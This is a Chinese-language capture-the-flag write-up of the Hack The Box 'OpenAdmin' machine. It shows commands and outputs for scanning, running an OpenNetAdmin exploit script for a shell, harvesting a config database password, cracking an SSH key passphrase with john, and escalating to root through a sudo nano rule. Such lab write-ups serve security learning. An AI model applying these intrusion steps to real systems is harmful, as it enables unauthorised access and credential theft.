• HTB::OpenAdmin


    实验环境

    HTB_OpenAdmin_1

    渗透过程

    0x01 信息搜集

    sudo nmap -sS -p1-10000 -sV -sC -T4 10.10.10.171
    

    HTB_OpenAdmin_2

    开放了22(SSH)端口和80(HTTP)端口

    访问80端口,发现是apache的默认页面:

    HTB_OpenAdmin_3

    使用DIrBuster进行目录扫描:

    HTB_OpenAdmin_4

    扫到了两个目录/music、/ona。

    访问http://10.10.10.171/music/,发现是一个普通的web服务页面。
    访问http://10.10.10.171/ona/,发现是OpenNetAdmin的后台页面。

    HTB_OpenAdmin_5

    值得关注的信息是:OpenNetAdmin Version = v18.1.1

    查找可以利用的漏洞:

    HTB_OpenAdmin_6

    0x02 开干

    GetShell

    发现Metasploit中有可利用的破解工具,尝试进行利用:

    HTB_OpenAdmin_7

    发现提示利用成功,但没有建立会话。

    尝试使用sh文件,运行命令searchsploit -m 47691将该sh文件下载到当前目录,运行

    HTB_OpenAdmin_8

    由于这个shell可能是在win下编写的,所以换行格式与Linux不同,运行后无法解析,使用命令dos2unix ./47961.sh 把文件转成unix下可执行文件就可以正常运行。

    脚本反弹了shell。

    HTB_OpenAdmin_9

    这里也可以上传一句话木马,使用蚁剑进行连接,获得shell。

    user.txt

    经过测试发现,当前用户是www-data,不能执行cd命令离开当前目录。

    nmap结果可以看到靶机还开放了22端口,所以要找到可以登录ssh的用户以及密码。

    查看该主机上的用户:

    HTB_OpenAdmin_10

    或者:

    HTB_OpenAdmin_11

    获得用户jimmyjoanna

    继续查找信息:

    $ find / -name config		// 查找相关配置文件
    [OUTPUT]:
    /opt/ona/www/config
    /opt/ona/www/local/config
    /var/www/html/marga/.git/config
    /snap/core/7270/etc/kbd/config
    /snap/core/7270/usr/lib/initramfs-tools/etc/dhcp/dhclient-enter-hooks.d/config
    

    查看相关配置文件:

    $ ls local/config
    database_settings.inc.php
    motd.txt.example
    run_installer
    

    查看database_settings.inc.php

    $ cat local/config/database_settings.inc.php
    [OUTPUT]:
    <?php
    $ona_contexts=array (
      'DEFAULT' => 
      array (
        'databases' => 
        array (
          0 => 
          array (
            'db_type' => 'mysqli',
            'db_host' => 'localhost',
            'db_login' => 'ona_sys',
            'db_passwd' => 'n1nj4W4rri0R!',
            'db_database' => 'ona_default',
            'db_debug' => false,
          ),
        ),
        'description' => 'Default data context',
        'context_color' => '#D3DBFF',
      ),
    );
    

    获得数据库密码,使用该密码登陆ssh。

    HTB_OpenAdmin_12

    登陆成功

    查看jimmy可以访问的目录:find / -type d -user jimmy

    /var/www/internal
    /home/jimmy
    /home/jimmy/.local
    /home/jimmy/.local/share
    /home/jimmy/.local/share/nano
    /home/jimmy/.cache
    /home/jimmy/.gnupg
    /home/jimmy/.gnupg/private-keys-v1.d
    

    查看相关信息

    jimmy@openadmin:~$ ls /var/www/internal
    index.php  logout.php  main.php
    

    分析index.php代码。

    <?php
        $msg = '';
    	if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
        if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
            $_SESSION['username'] = 'jimmy';
            header("Location: /main.php");
        } else {
            $msg = 'Wrong username or password.';
        }
    }
    ?>
    
    

    代码显示如果username和passwd都正确,则会跳转到main.php页面。

    分析main.php代码

    <?php 
        session_start(); 
    	if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
    # Open Admin Trusted
    # OpenAdmin
    	$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
    	echo "<pre>$output</pre>";
    ?>
    

    mian.php文件提示通过登录认证jimmy用户就会输出另一个用户joanna的rsa密钥,现在我们需要知道,这个服务运行在哪个端口上。

    HTB_OpenAdmin_13

    现在的问题就是如何Post这个url。直接在浏览器肯定不行,因为默认的路由就是 ona,肯定只能在这个SSH内部,结合这个目录名字internal。但最早我们扫端口只有80和22,接着我们再看一下jimmy用户本地启动的服务,3306不用说了,那大概率就是那个52846。

    进行访问得到rsa密钥:

    HTB_OpenAdmin_14

    顺便找到了配置文件:

    jimmy@openadmin:~$ cat /etc/apache2/sites-available/internal.conf
    Listen 127.0.0.1:52846
    
    <VirtualHost 127.0.0.1:52846>
        ServerName internal.openadmin.htb
        DocumentRoot /var/www/internal
    
    <IfModule mpm_itk_module>
    AssignUserID joanna joanna		// 只允许joanna用户有权限权限执行php文件
    </IfModule>
    
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
    
    </VirtualHost>
    

    浏览器打开访问提示连接失败。

    ssh_key到手,直接连接jimmy这个账号之前我们还需要知道这个私钥的密码,使用john爆破。

    第一步,将私钥复制到Kali本地。

    HTB_OpenAdmin_15

    第二步,利用 john 自带脚本转换格式为json

    python /usr/share/john/ssh2john.py rsa > rsajson
    

    ssh2john.py 的作用就是把 ssh 密钥 改成 john 可以识别的格式

    第三步,使用 john 爆破

    ➜  Desktop sudo john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn
    Using default input encoding: UTF-8
    Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
    Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
    Cost 2 (iteration count) is 1 for all loaded hashes
    Will run 4 OpenMP threads
    Note: This format may emit false positives, so it will keep trying even after
    finding a possible candidate.
    Press 'q' or Ctrl-C to abort, almost any other key for status
    bloodninjas      (rsa)
    Warning: Only 2 candidates left, minimum 4 needed for performance.
    1g 0:00:00:11 DONE (2020-04-02 09:24) 0.08532g/s 1223Kp/s 1223Kc/s 1223KC/sa6_123..*7¡Vamos!
    Session completed
    

    密码为 bloodninjas

    经尝试这个密码并不是joanna的ssh连接密码,而是利用密钥连接ssh时对私钥的验证密码。之后连接到joanna的ssh

    HTB_OpenAdmin_16

    提示权限错误,经过查阅资料,这里只要将密钥的权限改为600即可

    HTB_OpenAdmin_17

    得到user.txt

    root.txt

    joanna@openadmin:~$ sudo -l
    Matching Defaults entries for joanna on openadmin:
        env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
    
    User joanna may run the following commands on openadmin:
        (ALL) NOPASSWD: /bin/nano /opt/priv
    

    sudo -l命令显示用户Joanna可以无需密码使用nano去编辑/opt/priv这个文件。

    直接sudo nano /opt/priv进入编辑器,Ctrl+R读取文件,输入文件路径即可查看所有root权限文件。

    HTB_OpenAdmin_18

    得到root.txt

  • 相关阅读:
    Django组件之cookie与session
    广商14级软件工程分数:第五回合
    广商14级软件工程分数:第四回合
    Oracle Flashback和RMAN示例
    广商14级软件工程分数:第三回合
    广商14级软件工程分数:第二回合
    《学习进度条》博客
    广商14级软件工程分数:第一回合
    学生博客列表-广商14级软件工程
    源代码管理的一些问题
  • 原文地址:https://www.cnblogs.com/chalan630/p/12623281.html
Copyright © 2020-2023  润新知